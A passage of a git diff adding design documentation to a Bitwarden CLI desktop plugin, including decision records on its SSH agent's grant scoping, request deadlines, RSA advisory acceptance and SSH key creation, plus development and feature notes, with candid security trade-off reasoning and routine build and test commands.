in-progress rebuild that has itself moved to upstream crates +plus a hand-written protocol layer. Neither is a dependency here, and nothing +in this decision depends on when v2 lands. + +### RSA timing: RUSTSEC-2023-0071 is present and unpatched + +`rsa` 0.9.10 is affected by the Marvin attack advisory (medium, no patched +version, constant-time work still in progress upstream). It is the only +advisory that applies to this tree; `curve25519-dalek` (RUSTSEC-2024-0344), +`ed25519-dalek` (RUSTSEC-2022-0093), `tokio` (RUSTSEC-2025-0023), and `sha2` +(RUSTSEC-2021-0100) are all patched at the pinned versions. + +It is accepted for v1, for reasons that should be stated plainly rather than +waved through: + +- The advisory describes key recovery from timing measurements of many private + key operations. The attacker in this design is a local process running as the + same UID, which the threat model already treats as able to read the panel's + `bw` child and its decrypted vault directly. It does not need a timing oracle. +- Every signature requires a live human approval or an unexpired process grant, + and at most four sign requests exist at a time. That is not a rate an + adaptive timing attack can work with. +- The alternative backends are worse trades: `rsa` 0.10 is a release candidate, + and binding OpenSSL or `ring` for RSA-only signing adds a native build and a + larger attack surface than the advisory it would retire. + +This is recorded so it is reviewed again rather than inherited silently: if +`rsa` publishes a constant-time release, take it. Ed25519 keys — what most +Bitwarden SSH items will be — are not affected either way. + +### Public-key file export moves to the panel + +`docs/ideas/ssh-agent.md` planned for the companion to own the `.pub` file +projection from its validated keystore, and the plan asked this task to +confirm or correct that. It is corrected: the **panel** writes the files, from +the validated public set the companion reports over the control channel. + +The companion is deliberately a process with no `PATH`, no `HOME`, no vault +credentials, and no children. Giving it a writable directory adds filesystem +surface to the one process holding private keys, to write data that is not +secret. The panel, by contrast, already writes files, already knows +`XDG_DATA_HOME`, and already has the hostile-filename sanitizer the attachment +path uses — which is the part of this that is actually delicate, since an item +name is decrypted vault content about to become a path. Duplicating that +sanitizer in Rust to serve a non-secret projection is the wrong division of +labour. + +The companion stays authoritative about *which* keys are valid; the panel only +writes down what it is told. Task 15 implements it on that basis. + +## Consequences + +- `agent/rust-toolchain.toml` pins 1.98.0 with `rustfmt` and `clippy`. A distro + cargo ignores that file, so the reproducible build (Task 16) must run under + rustup in a pinned container and compare bytes — the toolchain is part of the + artifact, not a local preference. +- `panic = "abort"` and `strip = "symbols"` in the release profile: a + key-holding process should not unwind through arbitrary `Drop` impls or ship + symbols. CI keeps debug symbols as a separate artifact if they are ever + needed. +- Two workarounds are load-bearing and both are pinned by tests: the dalek + `zeroize` feature and `rsa_keys`. Neither can be removed silently. +- The licence set is MIT/Apache-2.0 plus BSD-3-Clause (`ed25519-dalek`, + `curve25519-dalek`, `subtle`) and BSD-2-Clause/Unlicense options elsewhere. + All are compatible with this plugin's MIT licence; the release must ship the + attribution notices (Task 19). +- `cargo-deny` (Task 16) gets an explicit allowlist for those licences and an + exception entry for RUSTSEC-2023-0071 with a link back to this decision, so + the advisory has to be re-approved rather than ignored. + +## Verification + +```bash +cargo test --manifest-path agent/Cargo.toml --locked +cargo build --manifest-path agent/Cargo.toml --locked +cargo fmt --manifest-path agent/Cargo.toml --check +cargo clippy --manifest-path agent/Cargo.toml --locked --all-targets -- -D warnings +``` + +## Sources + +- [crates.io: ssh-key](https://crates.io/crates/ssh-key), [ssh-agent-lib](https://crates.io/crates/ssh-agent-lib), [rsa](https://crates.io/crates/rsa), [tokio](https://crates.io/crates/tokio), [rustix](https://crates.io/crates/rustix) +- [RustCrypto/SSH `ssh-key/src/private/rsa.rs` on master](https://github.com/RustCrypto/SSH/blob/master/ssh-key/src/private/rsa.rs) — the released 0.6.7 source in the local registry is the other half of that comparison +- [wiktor-k/ssh-agent-lib `src/codec.rs`](https://github.com/wiktor-k/ssh-agent-lib/blob/main/src/codec.rs) +- [RFC 9987: Secure Shell (SSH) Agent Protocol](https://www.rfc-editor.org/rfc/rfc9987.html) +- [bitwarden/bitwarden-russh](https://github.com/bitwarden/bitwarden-russh) — deprecation notice +- [bitwarden/clients `apps/desktop/desktop_native/ssh_agent`](https://github.com/bitwarden/clients/tree/main/apps/desktop/desktop_native/ssh_agent), and the `rsa` 0.9.6 pin in its `Cargo.lock` +- [RUSTSEC-2023-0071](https://rustsec.org/advisories/RUSTSEC-2023-0071.html), [RUSTSEC-2024-0344](https://rustsec.org/advisories/RUSTSEC-2024-0344.html), [RUSTSEC-2022-0093](https://rustsec.org/advisories/RUSTSEC-2022-0093.html), [RUSTSEC-2025-0023](https://rustsec.org/advisories/RUSTSEC-2025-0023.html) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0002-grant-scope.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0002-grant-scope.md new file mode 100644 index 0000000..141e455 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0002-grant-scope.md @@ -0,0 +1,101 @@ +# 2. Approval grants are scoped to a program, not a process + +Date: 2026-08-27 + +## Status + +Accepted. Supersedes the grant-scoping rule in `docs/ideas/ssh-agent.md` +("Bounded approval grants"), which this decision deliberately relaxes. + +## Context + +The design specified that an approval grant is "scoped to **one key and one +live client process**", keyed on the peer PID together with that PID's start +time and the executable path captured at grant time. PID reuse therefore +cannot inherit a grant, and a re-`exec` invalidates it. + +That rule was justified by a usability argument: + +> Approval strictly per signature is unusable for the workflows this feature +> exists to serve. A `git rebase` over twenty commits with `gpg.format=ssh` is +> twenty modal prompts; a fetch followed by a push is two. + +Live testing against a real vault showed the rule does not achieve that. Git +does not hold a connection to the agent across commits: it spawns a **fresh +`ssh-keygen -Y sign` process for every commit it signs**. Every one of those +has a different PID and a different start time, so a PID-scoped grant never +matches. Approving "for this process" and then making a second signed commit +prompted again, and a twenty-commit rebase would prompt twenty times whether a +grant was taken or not. + +So the grant, as specified, was close to inert: it helped only a single +long-lived process making repeated signature requests, which is not a workflow +this feature was built for. The button existed and did nothing useful. + +## Decision + +A grant is scoped to **one key and one program, for one user**: it matches on +the peer UID, the executable path captured at grant time, and the public key. +PID and process start time are still captured and shown in the prompt, but no +longer participate in matching. + +The approval button says "Approve for this program", not "for this process", +because that is what it now does. + +Unchanged: + +- The peer UID must equal the companion's effective UID. That is the one + property the companion actually verifies, and it is not relaxed here. +- The window is still bounded by `sshAgentApprovalWindowSec` (default 120s, + maximum 900s, `0` disables grants entirely). +- Grants still live only in the companion's memory, never touch disk, and + never survive a restart. +- Every lifecycle event that dropped a grant before still drops it: expiry, + lock, logout, account change, epoch change, disabling the feature, screen + lock, suspend, `revoke_grants`, and per-grant revocation. +- A grant still replaces the prompt, not the final check. Epoch, lock state + and key identity are rechecked immediately before the signing primitive. + +## Consequences + +**What this accepts.** During an open window, *any* process running the same +executable path, as the same user, can obtain a signature with that key +without a prompt. Under PID scoping that was limited to one process. + +**Why that is tolerable here.** The threat model this feature works within +already states it "does not claim to protect an unlocked desktop from +arbitrary code already running as the same user". A hostile same-UID process +that wanted a signature under the old rule could simply execute +`/usr/bin/ssh-keygen` itself and request one in its own right — it would face +a prompt, but so would any first request under either rule. The scope change +does not hand an attacker a capability they could not otherwise reach; it +removes a distinction that cost the user twenty prompts and bought a boundary +that a same-UID attacker was never obstructed by. + +**What genuinely widens.** The window is now shared. If the user approves +`/usr/bin/ssh-keygen` for two minutes to sign a rebase, a concurrent hostile +invocation of that same binary during those two minutes signs without asking. +Under PID scoping it would have prompted. This is a real reduction, and it is +the price of the feature working at all. + +**Mitigations retained.** The window defaults to 120 seconds rather than the +900-second maximum; grants are visible in the panel with their remaining time +and revocable individually or all at once; and every live grant is destroyed +by a lock, a screen lock, or a suspend. + +**If this proves too wide**, the narrower option is to keep program scoping but +additionally require that the requesting process's parent match the one that +was approved — which would cover Git's per-commit children while excluding +unrelated invocations. That was not done here because parent PIDs are as +forgeable as any other `/proc` metadata and would add a check that reads as a +security boundary without being one. + +## Alternatives considered + +- **Key-only grants for the window.** Simplest, and matches what `ssh-agent`'s + own confirm timeout does. Rejected as wider than necessary: the program is + cheap to match on and excludes unrelated binaries. +- **Keep PID scoping and document the limit.** Honest, but leaves a button in + the UI that almost never does anything, which is its own kind of dishonesty. +- **Drop grants from v1.** Removes the machinery, but returns the twenty-prompt + rebase the design explicitly called unusable. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0003-request-deadline.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0003-request-deadline.md new file mode 100644 index 0000000..9395e12 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0003-request-deadline.md @@ -0,0 +1,94 @@ +# 3. A signing request gives the user two minutes, not thirty seconds + +Date: 2026-08-27 + +## Status + +Accepted. Adjusts the request-deadline figure in `docs/ideas/ssh-agent.md` +("Panel-to-Companion Contract"), which specified thirty seconds. + +## Context + +The control contract said: + +> Reject overflow, give each request a 30-second deadline, and cancel it when +> its client disconnects. + +Thirty seconds is ample for a machine and short for a person. A signing +request has to travel further than the socket: the panel opens or takes focus, +the user notices it, reads a key name and a `SHA256:` fingerprint, considers +which program is asking, and decides. During live testing against a real vault +that budget expired twice under a user who was doing nothing more unusual than +reading the prompt he had been asked to read. Both expiries were recorded as +refusals, which then fed the denial cooldown and suppressed further prompts — +so a deadline that was merely tight cascaded into signing being disabled. + +A second problem was found at the same time and is the more serious of the +two. The socket server bounded its wait for the state loop's answer with the +same `CLIENT_IO_TIMEOUT` it used for reading a frame and writing a reply: + +```rust +let bytes = match timeout(CLIENT_IO_TIMEOUT, response).await { .. }; +``` + +Both were thirty seconds, so the two clocks expired together by coincidence +rather than by design. Raising only the approval deadline would have left the +client giving up first and the new deadline doing nothing — the human bound +would have been decorative. The two values were coupled without ever being +related. + +## Decision + +Three separate bounds, each sized for what it actually waits on. + +| Bound | Value | Waits on | +|---|---:|---| +| `approvals::REQUEST_LIFETIME_MS` | 120s | a person deciding | +| `server::RESPONSE_TIMEOUT` | 150s | the state loop's answer, on behalf of a blocked client | +| `server::CLIENT_IO_TIMEOUT` | 30s | a socket read or write | + +`RESPONSE_TIMEOUT` deliberately exceeds `REQUEST_LIFETIME_MS`, so the +companion's deadline is always what fires first and there is one authority on +when a request is over. A test asserts that ordering, and asserts the +literal 120s figure so that changing it stays a deliberate act rather than a +side effect. + +The held-request deadline used while a vault unlock is pending is derived from +`REQUEST_LIFETIME_MS` rather than repeated, because unlocking asks more of the +user than approving does and certainly needs no less time. + +## Consequences + +**A blocked client may now wait up to two minutes.** In practice it will not: +the mechanism that actually reclaims a request promptly is the client +disconnect, which the server watches for while a request is pending. Pressing +Ctrl-C on a `git push` ends the request immediately, and the panel's prompt is +withdrawn with it. The deadline is the backstop for a client that neither +answers nor leaves. + +**The four-request bound is unchanged**, so at most four requests can be +waiting at once regardless of how long each may wait. A same-UID process can +still occupy those slots with junk requests and delay a legitimate one; that +was already inside the threat model this feature does not defend against, and +a longer deadline widens the window without changing the conclusion. + +**Two minutes is still a deadline.** A request that nobody answers is refused, +the client is told, and the prompt comes down. Removing the bound entirely +would leave prompts and blocked clients accumulating with nothing to clear +them. + +## Alternatives considered + +- **Keep 30s and make the panel more attention-grabbing.** Rejected: the + design explicitly forbids desktop notifications in v1, and the remaining + levers (opening and focusing the panel) are already used. +- **Restart the clock when the prompt is first displayed.** Fairer in + principle, since the wait should start when the user could first act. It + needs the panel to report display state back to the companion, which adds a + control message and a way for a wrong answer to extend a deadline. Not worth + the surface for the benefit. +- **Make it configurable.** Another setting for something almost nobody would + tune, and a badly chosen value degrades either usability or the bound. The + figure is documented here instead. +- **Remove the deadline while the panel is open and focused.** Attractive, but + it makes the bound depend on window state the companion cannot verify. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0004-ssh-key-creation.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0004-ssh-key-creation.md new file mode 100644 index 0000000..660e3c2 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0004-ssh-key-creation.md @@ -0,0 +1,153 @@ +# 4. SSH key creation stays out of the plugin, on private-key grounds + +Date: 2026-09-03 + +## Status + +Accepted. Confirms two entries in `docs/ideas/ssh-agent.md` ("Not Doing +Initially") — *Key generation or import* and *SSH item creation, editing, or +cloning in QML* — and replaces the reason recorded for one of them. + +## Context + +The question keeps coming back: the panel lists SSH keys, serves them to `ssh` +and Git, and can create every other item type. Why not create one? + +The design deferred it twice, and the second entry gives a reason that is worth +re-reading: + +> **SSH item creation, editing, or cloning in QML**: the CLI edit contract +> round-trips the complete cipher, so these need an opaque metadata-patch design +> that never exposes the existing private key to QML. + +That reason is correct about **editing** and does not apply to **creation**. +`buildEditPayload` starts from a deep clone of `rawObject`, so editing a type-5 +item would put the stored private key in QML. A key being created has no stored +private material to expose — whatever it holds, this plugin generated a moment +ago. The two cases were filed together and are not the same case. + +So creation was re-examined on its own. + +### What the CLI can actually do + +The obvious first question was whether the vault boundary this plugin refuses to +cross can write a type-5 item at all. The first evidence said no: + +``` +$ bw get template item.sshKey +Unknown template object. +``` + +and the CLI's own template switch (`@bitwarden/cli` 2026.2.0, `build/bw.js`) +confirms the gap is deliberate — it has cases for `item.card`, `item.field`, +`item.identity`, `item.login`, `item.login.uri` and `item.securenote`, and no +case for `item.sshKey`. + +That reading was wrong, and it is recorded here because it is the wrong +conclusion a reader is most likely to reach independently. The base item +template carries the field: + +``` +$ bw get template item +{... "card":null,"identity":null,"sshKey":null,"reprompt":0} +``` + +and the encrypt path — the one a create actually goes through — handles the +type in full: + +```js +case CipherType.SshKey: + cipher.sshKey = new SshKey(); + yield this.encryptObjProperty(model.sshKey, cipher.sshKey, + { privateKey: null, publicKey: null, keyFingerprint: null }, key); + return; +``` + +**The CLI can encrypt and create a type-5 item.** The missing template is a +convenience gap, not a capability gap, and a hand-built payload carrying +`privateKey`, `publicKey` and `keyFingerprint` is very likely to be accepted. +This decision therefore cannot rest on "the CLI will not let us", because it +will. + +## Decision + +The plugin does not create SSH keys. The reason is private-key custody, not CLI +capability. + +Every design that puts a new key in the vault has to answer where the private +key is generated and what it touches on the way. There are two candidates and +each one gives up a property the SSH work was built around. + +**Generate in the helper.** It already holds private keys, in memory, never on +disk — that is the entire point of it being a separate process. But it has no +random-number generator, and that is deliberate. `rand_core` is a +dev-dependency, commented *"Test-only key generation, so no private key material +is committed"*, and `selftest.rs` explains the refusal directly: + +> the only honest ways to get one are to generate it — which would put a +> random-number generator into a key-holding binary's dependency tree for the +> sake of a smoke test — or to embed one, which is exactly what this project +> refuses to do anywhere else. + +Reversing that means a new release dependency in the audited supply chain, a +rebuilt binary, new committed bytes, a new `SHA256SUMS`, and a fresh provenance +attestation. `/agent/` and `/bin/` are CODEOWNERS-flagged for precisely this +class of change. It is not prohibitive — but it is a supply-chain decision, not +a feature decision, and it should be taken as one. + +**Generate with `ssh-keygen`.** No helper change, no new dependency. It writes +the private key to disk, and "never on disk" is a property this feature states +plainly. A FIFO does not rescue it: `ssh-keygen` wants to write two real files. + +**And either way**, the private key must reach `bw` through the panel's +`QSBW_ITEM` environment payload. That route is already trusted with passwords, +so it is not new machinery — but it is new for SSH private keys, which this +design has kept exclusively inside the helper, and it would mean QML briefly +holds the one class of secret it has never held. + +None of that is unsolvable. It is a security design with a threat model to +revisit, and it does not belong in a release that is about card items and a +settings screen. + +## Consequences + +**Users create SSH keys in the web vault or the browser extension**, where the +feature shipped in 2025.1.0. The panel lists, serves and signs with them the +moment they exist. This is a gap in convenience, not in function. + +**The type-5 read-only guards stay.** `createItemCommand`, `editItemCommand`, +`deleteItemCommand`, `buildCreatePayload`, `buildEditPayload` and +`startEditItem` all refuse type 5, and the sanitizing filter continues to reduce +type-5 items to public metadata before QML sees them. Those guards now have a +decision behind them rather than an unexamined default. + +**A hazard for anyone tempted to test this quickly.** Confirming the create path +empirically means writing a real type-5 item, and the failure mode is not +symmetric. Bitwarden CLI below `2026.8.0` fails to decrypt SSH key items with a +null public key or fingerprint, and *one such item breaks the entire vault +list* — in this plugin and in every other client on that CLI, until the item is +removed. A malformed write is therefore not a harmless experiment on a vault +someone depends on. Test against a throwaway account or a local Vaultwarden. + +**If this is revisited**, helper-side generation is the design to start from. +The dependency cost is real and reviewable; the alternative trades away two +properties — private keys never on disk, private keys never in QML — that are +harder to win back than a line in `Cargo.toml`. + +## Alternatives considered + +- **Import an existing key rather than generate one.** Avoids the RNG question + entirely, and the user already has the private key in a file. It still routes + private material through QML and `bw`, so it clears the smaller obstacle and + leaves the larger one, and it is a strictly less useful feature. +- **Create the item with only public material and fill the private key in + later.** This is the malformed-item shape named above. It would break vault + listing for every client on a CLI below 2026.8.0. +- **Have the helper write the item to `bw` itself**, keeping the private key out + of QML entirely. The most promising variant, and the one worth designing if + this is picked up: it would need the helper to hold a session token, which is + a widening of its role from "signs with keys it was given" to "acts on the + vault", and that deserves its own review. +- **Wait for a CLI template.** The absence of `item.sshKey` suggests Bitwarden + does not consider CLI creation a supported path yet. Waiting costs nothing and + may produce a supported shape to build against. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/development.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/development.md new file mode 100644 index 0000000..22556df --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/development.md @@ -0,0 +1,100 @@ +# Development + +Linting and the test suite. + +Omarchy plugins are Qt6/Quickshell, so lint with the **Qt6** `qmllint` -- +`/usr/bin/qmllint` on Arch is the Qt5 binary from `qt5-declarative` and exits +255 with no diagnostics on this file. The `qs.*` modules resolve only when the +import path contains a directory named `qs`: + +```bash +mkdir -p /tmp/qs-imports && ln -sfn /usr/share/omarchy/shell /tmp/qs-imports/qs +/usr/lib/qt6/bin/qmllint -I /tmp/qs-imports Panel.qml FormPickerRow.qml +``` + +Remaining `unqualified` and `missing-property` warnings are baseline Quickshell +noise -- the stock Omarchy plugins report the same categories -- as are the +`signal-handler-parameters` warnings on `Process.onExited`, whose +`QProcess::ExitStatus` argument qmllint cannot see. + +Validate the manifest against the schema the shell enforces: + +```bash +omarchy plugin validate . +``` + +--- + +## Tests + +Regression suites require Node; the SSH-items boundary suite also exercises jq: + +```bash +node tests/auth.test.js # unlock/login commands, and that no credential reaches argv +node tests/auth-prewarm.test.js # private FIFO lifecycle, byte-exact password delivery, and cancellation +node tests/context-match.test.js # window-title matching and learned suggestions +node tests/setup-settings.test.js # dependency probe, settings writer, PIN crypto +node tests/ssh-items.test.js # bounded out-of-process vault sanitization and SSH private-key exclusion +node tests/first-run.test.js # a fresh install with no `bw` yet: the setup gate, the + # sequence that follows the install, and what the + # in-panel install button asks for +node tests/generator.test.js # generator option clamping and strength +node tests/folders.test.js # folder parsing, filtering and assignment +node tests/sends.test.js # Send payloads, parsing, and argv-safety +node tests/collections.test.js # organization collections and item ownership +node tests/items.test.js # item parsing, and that a list entry can build the detail view +node tests/attachments.test.js # attachment metadata, that a vault file name cannot escape ~/Downloads, + # that a symlink cannot redirect a download, and the transfer ceilings +node tests/handoff-urls.test.js # session-handoff file path, and which URI schemes may be opened +node tests/rich-text.test.js # vault text is drawn as text, never parsed as markup +node tests/session-boot.test.js # a remembered session dies with the boot that minted it +node tests/stream-limits.test.js # every stream the shell reads is capped by its producer +node tests/lock-state.test.js # the auto-lock survives a suspend, the timings are clamped + # on the way in, and a read of a vault that has since closed + # is refused rather than rendered +node tests/lock-triggers.test.js # locking on screen lock and on suspend, and the window in + # which a terminal login's session key is accepted +node tests/hardening.test.js # `--` before every server-chosen id, the custom-server check, + # and that logging out takes the learned suggestions with it +node tests/buffer-scrub.test.js # emptying the pipe buffers a lock used to leave full, and the + # deadline and size ceiling on every generator-port request +node tests/initial-load.test.js # items render before folders, organizations and status refresh +node tests/performance.test.js # deterministic small/typical/large/stress vault guardrails +``` + +The performance suite generates invented 100-item/0.25 MiB, 500-item/1 MiB, +2,000-item/5 MiB and 5,000-item/14 MiB vaults. It reports p95 JSON parsing, +filtering and contextual-match times over 20 warm samples and fails on broad +regressions. It measures only in-process work after `bw` returns, so network, +server and CLI startup latency should be measured separately on the target +machine. + +The 2026-08-24 auth benchmark used Bitwarden CLI 2026.2.0 and three runs with a +deliberately invalid password. A normal unlock took 2,641 ms median from submit +to result; after a three-second prewarm while the password screen was already +open, it took 1,026 ms -- a 1,615 ms / 61.1% reduction. These figures are a +same-machine comparison, not a universal latency promise. + +Some suites need Qt rather than Node -- which any machine running the plugin +already has. They cover the things only a real Qt can answer: that Escape +reaches the panel from inside a text field, how Qt itself decides to draw a +string (which is what makes a vault value markup or text), and how wide the +kit's Button actually renders a given label in the shell's font. + +That last one, `tst_row_widths.qml`, reads the panel's own QML and measures +every row of buttons against the width of the panel they sit in. It needs to +read those files from inside QML, which Qt gates behind an env var: + +```bash +QML_XHR_ALLOW_FILE_READ=1 QT_QPA_PLATFORM=offscreen \ + /usr/lib/qt6/bin/qmltestrunner -input tests/qml +``` + +Note the **Qt6** binary. A bare `qmltestrunner` on Arch is the Qt5 one from +`qt5-declarative`; it reports `Library import requires a version` and exits 1 +with no test output at all. If a run prints nothing whatsoever, that is why. + +`QT_ASSUME_STDERR_HAS_CONSOLE=1` is worth adding while debugging a QML test -- +without it `console.log()` from inside QML is silently dropped. + +--- diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/features.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/features.md new file mode 100644 index 0000000..ffdf398 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/features.md @@ -0,0 +1,138 @@ +# Features in detail + +Every feature the plugin has, and why each one works the way it does. The +[README](../README.md) is the tour; this is the reference behind it. + +- **Full Status Bar & Quick Access Panel Integration**: + - Live vault lock state indicated in the status bar (`󰞀` shield icon: accent when unlocked, base when locked, urgent when unauthenticated). + - Clean drop-down panel with fast navigation and keyboard-first workflow. + +- **Authentication & Secure Keyring Storage**: + - Direct Master Password unlock. + - Interactive login starts with Email + Password and reveals the 2FA prompt only when Bitwarden requires it (Authenticator App or Email); API Key credentials (`BW_CLIENTID` / `BW_CLIENTSECRET`) remain available as a separate method. + - **Custom Server Support**: Works seamlessly with official Bitwarden servers and self-hosted Vaultwarden instances. + - **Terminal login fallback**: when the built-in form cannot cover your login method -- SSO, a Duo push, a hardware key -- the login screen offers **Launch Terminal**, which runs `bw login` in a real terminal so Bitwarden's own prompts handle it. + - That terminal hands its session straight back: it captures the key with `bw login --raw` (prompts stay on stderr, so the login is still interactive) and writes it to `$XDG_RUNTIME_DIR/qs-bitwarden-cli/session-handoff`, mode `600`, in a directory created `700` before the file exists. There is no fallback path: if `XDG_RUNTIME_DIR` is somehow unset the login refuses to run rather than putting a session key anywhere a second user could have prepared. The panel reads that file once, deletes it, and comes back unlocked -- no second login just to get in. If the vault was merely locked rather than logged out, the same button unlocks instead. **It only reads it when it is expecting to.** The check runs on every status refresh, and it used to adopt whatever was at that path whether or not the panel had ever asked for a terminal login -- so anything able to write the file could hand the panel a session key at a moment of its own choosing, and the panel would take it and write it to the keyring. The runtime directory is `0700`, so that is one of your own processes rather than a stranger and it was never a privilege boundary; it was a window with no reason to be open. A key is only expected in the ten minutes after the panel itself launched a terminal, so those are the only minutes it is read in. Outside them the file is deleted unread -- not reading it is not a reason to leave a live session key lying in the runtime directory, and a login abandoned halfway leaves exactly that. + - **The terminal reopens the panel for you** on success, then closes itself; you only have to dismiss it if something went wrong and there is an error worth reading. + - Two `bw status` calls used to sit on that path, each around three seconds on a real vault: one in the terminal to decide login-versus-unlock, one in the panel to confirm a key `bw` had just minted. Neither is needed -- the panel already knows which state it is in, and the confirming check now starts only after the item list has been rendered instead of sitting in front of it. + +- **PIN Unlock** (opt-in, `pinUnlock`): + - Unlock with a numeric PIN instead of typing the master password. **6 digits or more is the recommendation**, 4 is the hard floor, and there is no upper limit. A PIN under 6 digits is accepted but the field turns red and tells you how small the search space you just chose is -- every extra digit multiplies an attacker's work by ten. + - Unlike fingerprint unlock, the master password is **not** stored in the clear: it is encrypted with a key derived from your PIN (PBKDF2-SHA256, 600,000 iterations, salted) and only the ciphertext is kept, so reading the keyring alone does not reveal it. + - A wrong PIN simply fails to decrypt, so no PIN hash is stored and there is none to attack. + - Five wrong attempts removes the stored ciphertext entirely; re-enabling needs the master password again. So does a master password change, which is detected on the first failed unlock. + +- **Fingerprint Unlock** (opt-in, `fingerprintUnlock`): + - Unlock the vault with an enrolled fingerprint instead of retyping your master password. + - Verifies through the same PAM stack as the Omarchy lock screen (`/etc/pam.d/omarchy-lock-fingerprint`), so it works wherever `omarchy setup security fingerprint` has been run. + - Enrolling asks for your master password up front in the settings screen, rather than quietly capturing it on some later unlock. + - The reader is armed automatically whenever you open the panel on a locked vault; the master password field always stays available as a fallback. + - See [Optional: Fingerprint Unlock](../README.md#fingerprint-unlock) for the security trade-off before enabling it. + +- **SSH Agent** (opt-in, `sshAgentEnabled`): + - Serves the SSH keys in your vault to `ssh`, `git` and `ssh-keygen -Y sign` while the vault is unlocked, from a separate helper process that holds the private keys in memory and drops them on lock, logout, or exit. They are never written to disk and never reach QML. + - Every signature shows the key, its fingerprint and the program asking. The default prompt lives in the panel; the opt-in centered popup makes the plugin otherwise disappear until a decision is needed. One approval can cover a whole rebase; live approvals are listed and revocable, and repeated unanswered prompts fall back to a cooldown rather than pestering. + - Public keys are projected to files for Git signing, one file per item, public material only. See [SSH Agent](ssh-agent.md). + +- **Context-Aware Password Suggestions (Active Window / Browser Tab)**: + - Reads the active window on open (`hyprctl activewindow -j`, falling back to the `hyprctl clients -j` focus history when the panel itself holds focus). + - Recognises the current site from the browser's page title and matches it against each item's URLs and name using Bitwarden-style host and base-domain rules, brand aliases (a `Gmail` tab matches a `google.com` item), and word-boundary matching that ignores public suffixes and generic labels such as `www`, `login`, or `com`. + - Places a highlighted **`󰌠 Suggested for `** banner and pins matching credentials to the top of the list with pre-selection, so pressing Enter immediately copies the right credential. + - Only the strongest tier of matches is shown (at most 6), and a title with nothing identifiable in it produces no suggestions rather than a guess. + - Standalone desktop apps match on window class; terminals only suggest for remote `ssh`/`mosh`/`sftp` hosts, never for local shells. + - **It learns.** Opening or copying an item while a window is active records that window against the item, and it is suggested outright next time -- ahead of every heuristic. This is what handles sites a title can never match: a portal on `auth.example.xyz` titled `Home - authentik` shares no word with the stored credential, so pick it once and it sticks. Learned suggestions are marked `󰐾` rather than `󰌠`. + - **Suggest here / Suggested here** in an item's detail view pins or unpins that item for the current site or app deliberately, without waiting to be taught. + - Re-picking a different item retargets what was learned, so a bad association corrects itself the next time you choose. + - Associations live in `~/.local/state/qs-bitwarden-cli/associations.json` (mode `600`) and hold only vault item IDs and the title words they were learned from -- never credentials. Writes replace a private temporary file atomically, never follow a symlink, and narrow an older permissive file back to `600`; reads validate the schema and discard unknown versions, malformed entries, and keys outside the `domain:`, `app:`, and `word:` namespaces. **Logging out deletes the file after any active writer has exited**, so an in-flight update cannot resurrect the previous account's metadata. It holds no secrets, but between them the domains, app names and timestamps are a record of which sites the account has logins for and when each was last used, in the clear and with no expiry of its own. + - **Limitation:** browsers do not publish the active tab URL to Wayland or Hyprland, so the *heuristics* work from the page title. A site whose title mentions neither its name nor its domain (`New Tab`, a bare `Sign in`) cannot be inferred -- teach it once instead. + +- **Smart Auto-Copy TOTP Flow on Enter**: + - Selecting a login item and pressing Enter copies the **Password** to the clipboard and automatically closes the panel, returning focus immediately to your target application so you can paste (Ctrl+V) and submit. + - If the item has a TOTP 2FA secret configured, the plugin automatically copies the live 6-digit **TOTP code** to your clipboard after a brief delay (default: 3s) and posts a desktop notification saying so. The notification deliberately does **not** contain the code: a notification daemon keeps history and can render a body over a lock screen, which is no place for a live second factor. The digits are shown in the panel itself, with their countdown. + - You can immediately paste the TOTP code into the 2FA prompt without ever reopening or refocusing the plugin! + - If you prefer manual progression, pressing Enter or t while the follow-up banner is active also copies the code immediately. + +- **Every item type is readable, not just logins**: + - **Cards** show the cardholder, brand, number, expiry and security code. The number and the code are masked until revealed, and each reveals independently of the other -- an eye is a statement about the field it sits on. + - **Identities** show the name, username, company, email and phone, the social security, passport and licence numbers, and the address as a single copyable block rather than seven separate rows. Empty fields are not drawn, so a sparsely filled identity stays short. The three identifiers are masked for the reason a password is, with the difference that these cannot be rotated afterwards. + - Both are searchable by what the list shows them as: a card by brand, cardholder or last four digits, an identity by name, email, username or company. Deliberately **not** by the middle of a card number -- a substring search across stored card numbers is not a lookup this box should perform. + - **SSH keys** remain public records: the panel lists them, shows the public key and fingerprint, and serves them through the agent, but never draws or writes private material. See [ADR 0004](docs/decisions/0004-ssh-key-creation.md). + +- **Full Add, Edit & Delete (CRUD) Operations**: + - **Create Items (`n` key or `+` button)**: Add new **Logins** (`󰌋`), **Secure Notes** (`󰈐`), **Cards** (`󰿯`) or **Identities** (``). SSH keys are read-only here -- see [ADR 0004](docs/decisions/0004-ssh-key-creation.md) for why the plugin does not create them. + - **Password Generator**: A full generator screen (g or the `󰌆` button) mirroring the Bitwarden browser extension's options -- password (length, A-Z, a-z, 0-9, special, minimum numbers, minimum special, avoid ambiguous) or passphrase (word count, separator, capitalise, include number), with a live strength meter. Generation comes from Bitwarden's own generator rather than a reimplementation, and the item form's **Generate...** button opens this same screen and fills the password field in on the way back. + - **It is fast.** A fresh `bw generate` costs about 2.9 seconds, almost none of it generation: roughly 0.9s is the CLI's Node bootstrap and 2s is Bitwarden's service container starting, and every option toggle paid it again. The panel now starts `bw serve` on loopback the first time you open the generator and asks that, which answers in about **2ms**. The server is deliberately started with **no session**, so it is a locked vault that can generate passwords and nothing else -- a loopback port has no authentication and is reachable by every user on the machine, so it must never hold an unlocked vault. The server is also only up while the generator screen is: `bw serve` answers `/status` with your account email and user id to anyone on the machine who asks, so it goes up with the screen and comes down with it rather than idling on a port for the whole session. And an answer on that port is not taken as proof the server is ours -- there is no authentication to lean on, so the port is 